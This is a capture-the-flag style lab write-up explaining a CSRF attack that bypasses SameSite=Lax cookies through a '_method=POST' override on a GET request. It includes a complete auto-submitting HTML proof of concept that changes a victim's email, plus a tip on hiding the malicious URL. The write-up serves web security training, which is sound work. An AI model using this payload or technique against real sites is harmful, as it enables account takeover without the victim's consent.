SameSite Lax bypass via method override
Task
This lab’s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim’s email address. You should use the provided exploit server to host your attack.
You can log in to your own account using the following credentials: wiener:peter
Solution
Capture a POST request that updates an email. Though the request doesn’t have a CSRF token, because of SameSite=Lax, a browser won’t send a session cookie cross-site when the POST method is used.
One way to bypass this SameSite restriction is to use the GET method. However in this case, the GET method isn’t allowed. In this kind of situation you can abuse a method overriding vulnerability.
GET /my-account/change-email?email=luvpengwins%40example.com&_method=POST
This is treated as GET by browsers but by the server it’s POST, effectively bypassing SameSite while using a POST logic.
After making a change to the request, you can generate a PoC if you use Burp Pro.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a5f003b034266be81411b43005d00a0.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="luvpengwins@example.com" />
<input type="hidden" name="_method" value="POST" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
You can write one yourself as parameters are relatively simple. history.pushState('', '', '/'); is for hiding a malicious URL and isn’t really needed for solving labs.
This kind of method overriding technique is also used for bypassing 403 restrictions.